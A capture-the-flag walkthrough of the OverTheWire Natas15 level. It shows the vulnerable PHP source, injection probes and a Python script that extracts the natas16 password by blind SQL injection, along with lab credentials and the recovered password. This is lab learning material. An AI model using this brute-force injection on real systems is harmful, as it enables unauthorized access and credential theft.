Challange:
There is a single field named username to check the existence in the database.
Solving it:
We probably have to do another SQL injection, but lets have a look at the source code first.
<html>
<body>
<h1>natas15</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
This is the query: SELECT * from users where username=\"".$_REQUEST["username"]."\"";
. So this is SELECT * from users where username= "<username"
again? So lets try the payload from the last challange which was " or 1=1
. This gives us the message that the users exists, because the statement is true, which means we can inject something. Lets find out more, to easily inject the username I wanted to test if it was possible to do this in the url by adding “?username=” and this worked. Good! Lets test natas16, it worked. The user exists.
Looking in the source code we can give a debug argument in the request and it will print the query, it took a bit to get this to work but it works in the following url: http://natas15.natas.labs.overthewire.org/index.php?debug&username=natas16 . We can also see the query now, this might be useful to create a correct query.

So we have the username, now we need to find the password. I came onto this page. We can use AND password LIKE '%w%'
Since there is an sql part in the source code who showed that there is a table named ‘users’ with the columns ‘username’ and ‘password’. We know that the column should be password. Lets try to manually bruteforce the first letter of the password with the '%w%'
part to see if it works. I came to the following URL: http://natas15.natas.labs.overthewire.org/index.php?debug&username=natas16" AND PASSWORD LIKE '%w%'"
Which translates to the following query: SELECT * from users where username="natas16" AND PASSWORD LIKE '%w%'""
. This means that there is a w in the password. Now lets try to manually bruteforce the first letter, if I put an a it give the message that the user doesn’t exist. So when it does exist we have the first letter. For this we use 'a%'
where we change a to all the letters. This took what to long and didn’t found it so lets write a script since the password will probably be long.
So my python isn’t that good, still learning and following a course. I had to lookup a couple solutions, read them and then I had an idea on what to do. Some complications I had to go through. I used LIKE %w% in my query. This doesn’t check for upper- or lowercase characters. So I had to use LIKE BINARY. I also made a mistake by not passing the previous found letter into the request so it kept looping, found this by printing the uri every time the loops ends. So I had to add the password to the uri in the loop, before the new character being added. I came to the following solution:
import string
import requests
characters = string.ascii_letters + string.digits
url = "http://natas15.natas.labs.overthewire.org/"
auth_username = "natas15"
auth_password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
password = ""
passlength = 32
exists_str = "This user exists."
# go through the loop till password is 32 characters long and then go into the loop passing all characters
while len(password) != 32:
for char in characters:
uri = ''.join([url, '?debug&', 'username=natas16"', '+and+password+LIKE+BINARY+"', password + char, '%'])
r = requests.get(uri, auth=(auth_username, auth_password))
if exists_str in r.text:
password = password + char
print("Password: {0}".format(password))
Outcome:
Password: W
Password: Wa
Password: WaI
Password: WaIH
Password: WaIHE
Password: WaIHEa
Password: WaIHEac
Password: WaIHEacj
Password: WaIHEacj6
Password: WaIHEacj63
Password: WaIHEacj63w
Password: WaIHEacj63wn
Password: WaIHEacj63wnN
Password: WaIHEacj63wnNI
Password: WaIHEacj63wnNIB
Password: WaIHEacj63wnNIBR
Password: WaIHEacj63wnNIBRO
Password: WaIHEacj63wnNIBROH
Password: WaIHEacj63wnNIBROHe
Password: WaIHEacj63wnNIBROHeq
Password: WaIHEacj63wnNIBROHeqi
Password: WaIHEacj63wnNIBROHeqi3
Password: WaIHEacj63wnNIBROHeqi3p
Password: WaIHEacj63wnNIBROHeqi3p9
Password: WaIHEacj63wnNIBROHeqi3p9t
Password: WaIHEacj63wnNIBROHeqi3p9t0
Password: WaIHEacj63wnNIBROHeqi3p9t0m
Password: WaIHEacj63wnNIBROHeqi3p9t0m5
Password: WaIHEacj63wnNIBROHeqi3p9t0m5n
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nh
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhm
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
We found the password for Natas16.